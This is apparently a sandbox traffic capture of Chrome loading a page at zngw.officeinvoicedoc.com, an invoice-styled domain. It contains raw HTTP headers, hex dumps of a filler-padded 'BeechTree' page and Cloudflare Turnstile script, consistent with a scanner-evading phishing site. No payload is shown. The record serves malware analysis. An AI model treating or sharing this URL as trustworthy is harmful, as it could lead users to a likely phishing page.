2024-08-28 11:52:34 UTC	673	OUT	GET /DhpuI HTTP/1.1 Host: zngw.officeinvoicedoc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:34 UTC	625	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 28 Aug 2024 11:52:34 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://zngw.officeinvoicedoc.com/DhpuI/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ck%2FbRKrINvSxJbLZim%2FdYp7hRstGdTC8eZDER56RjAPCqU1A2frSBot5vY4lQh13JD3EQINdIlA14alG5ZOdfueOGjK7VCL1SPeGtiUu7KVp0oTA2NQAcZwR25Prl8ZQojDt3RGyJsHTA7M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba4188ed811435e-EWR
2024-08-28 11:52:34 UTC	253	IN	Data Raw: 66 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 7a 6e 67 77 2e 6f 66 66 69 63 65 69 6e 76 6f 69 63 65 64 6f 63 2e 63 6f 6d 2f 44 68 70 75 49 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: f7<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://zngw.officeinvoicedoc.com/DhpuI/">here</a>.</p></body></html>
2024-08-28 11:52:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49707	104.26.7.122	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:35 UTC	674	OUT	GET /DhpuI/ HTTP/1.1 Host: zngw.officeinvoicedoc.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:35 UTC	762	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.27 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=te925qf1g9s7hq3k8307e10371; path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O0Sc2PJ%2B4ZO%2Fj%2FkfIXkY3Y6HJRdtKDhgff4U6F8fCaRPs03%2F6i5hjLacM2VqP%2B5%2BzYiD5csfHdUT9eAfemHM5SZdDeYj%2BPVHoUnDN%2BzpUnWgNBmBNGhZQCkTtl9DiRWYtP72xhJeN2%2FLvr8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba41894588317c1-EWR
2024-08-28 11:52:35 UTC	607	IN	Data Raw: 39 36 62 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 42 65 65 63 68 54 72 65 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 69 67 65 72 73 20 70 72 6f 77 6c 20 74 68 72 6f 75 67 68 20 74 68 65 20 64 65 6e 73 65 20 6a 75 6e 67 6c 65 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 Data Ascii: 96b <html lang="en"> <head> <meta charset="UTF-8"> <title>BeechTree</title> ... <span>Tigers prowl through the dense jungle.</span> --> <meta name="robots" content="noindex, nofollow"> <meta name="viewpor
2024-08-28 11:52:35 UTC	1369	IN	Data Raw: 70 3a 20 35 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 65 6e 74 65 72 65 64 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 35 30 30 70 78 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 66 73 2d 35 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a Data Ascii: p: 50px; display: flex; justify-content: center } .centered-content { text-align: center; max-width: 500px } .fs-5 { font-siz
2024-08-28 11:52:35 UTC	442	IN	Data Raw: 69 6e 73 74 20 74 68 65 20 72 75 67 67 65 64 20 63 6f 61 73 74 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 3c 70 3e 42 69 73 6f 6e 20 72 6f 61 6d 20 61 63 72 6f 73 73 20 74 68 65 20 76 61 73 74 20 70 72 61 69 72 69 65 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 53 6e 6f 77 20 63 6f 76 65 72 73 20 74 68 65 20 71 75 69 65 74 20 77 6f 6f 64 6c 61 6e 64 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 Data Ascii: inst the rugged coast.</span> --> </div> </div>... <p>Bison roam across the vast prairie.</p> --> </div> </div> ... <span>Snow covers the quiet woodland.</span> --> <script>
2024-08-28 11:52:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49708	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:35 UTC	553	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:36 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 28 Aug 2024 11:52:36 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/6790c32b9fc9/api.js Server: cloudflare CF-RAY: 8ba418996f7c4213-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49710	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:36 UTC	568	OUT	GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:36 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:36 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 45035 Connection: close accept-ranges: bytes last-modified: Thu, 15 Aug 2024 16:28:23 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ba4189d2d280f9d-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:36 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 5f 3d 65 5b 75 5d 28 67 29 2c 70 3d 5f 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 61 28 66 29 3b 72 65 74 75 72 6e 7d 5f 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);funct
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 5f 72 28 65 2c 72 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 24 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function $e(e,r){return r=r!=nu
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 4a 65 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 43 74 28 65 29 7c 7c 4e 74 28 65 2c 72 29 7c 7c 4c 74 28 65 2c 72 29 7c 7c 6b 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(a))return Je(e,r)}}function be(e,r){return Ct(e)\|\|Nt(e,r)\|\|Lt(e,r)\|\|kt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ne(e,r){var a={label:0,sent:function(){if(u[0
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 46 74 3d 33 30 30 30 32 30 3b 76 61 72 20 6b 65 3d 33 30 30 30 33 30 3b 76 61 72 20 4c 65 3d 33 30 30 30 33 31 3b 76 61 72 20 42 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ft=300020;var ke=300030;var Le=300031;var B;(fu
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 75 65 7c 7c 28 75 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6c 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ue\|\|(ue={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var le;(fun
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 76 61 72 20 59 3d 22 30 2f 30 22 3b 66 75 6e 63 74 69 6f 6e 20 66 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 Data Ascii: var Y="0/0";function ft(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="d
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 63 2c 75 3d 4c 28 78 72 2c 28 63 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 67 2c 5f 3d 4c 28 77 72 2c 28 67 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 67 21 3d 3d 76 6f 69 64 20 30 3f 67 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 26 26 75 3f 22 Data Ascii: HAVING_TROUBLES,c,u=L(xr,(c=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&c!==void 0?c:"nonexistent"),g,_=L(wr,(g=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&g!==void 0?g:"nonexistent");return o&&u?"
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 29 7d 2c 73 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 50 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 5a 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: __proto__\|\|Object.getPrototypeOf(a)},se(e)}function Zt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Pe(e){var r=typeof Map=="function"?new Map:void 0;return Pe=function(o){if(o===null\|\|!Zt(o))return o;if(typeof o!="function")
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 61 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 50 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 61 72 28 29 7b 76 61 72 20 65 3d 67 74 28 29 3b 65 7c 7c 76 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 Data Ascii: riptElement)&&e.test(r.src))return r;for(var a=document.querySelectorAll("script"),o=0,c;c=a[o];o++)if(P(c,HTMLScriptElement)&&e.test(c.src))return c}function ar(){var e=gt();e\|\|v("Could not find Turnstile script tag, some features may not be available",4
2024-08-28 11:52:36 UTC	1369	IN	Data Raw: 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 61 6e 64 62 6f 78 22 2c 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 66 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 30 70 78 22 2c 66 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 Data Ascii: ("allow","cross-origin-isolated; fullscreen"),f.setAttribute("sandbox","allow-same-origin allow-scripts allow-popups allow-forms"),f.setAttribute("scrolling","no"),f.style.borderWidth="0px",f.style.width="100%",f.style.height="100%",f.style.overflow="hidd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49711	104.18.95.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:37 UTC	383	OUT	GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:37 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 45035 Connection: close accept-ranges: bytes last-modified: Thu, 15 Aug 2024 16:28:23 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ba418a1ae948c95-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:37 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 5f 3d 65 5b 75 5d 28 67 29 2c 70 3d 5f 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 61 28 66 29 3b 72 65 74 75 72 6e 7d 5f 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function St(e,r,a,o,c,u,g){try{var 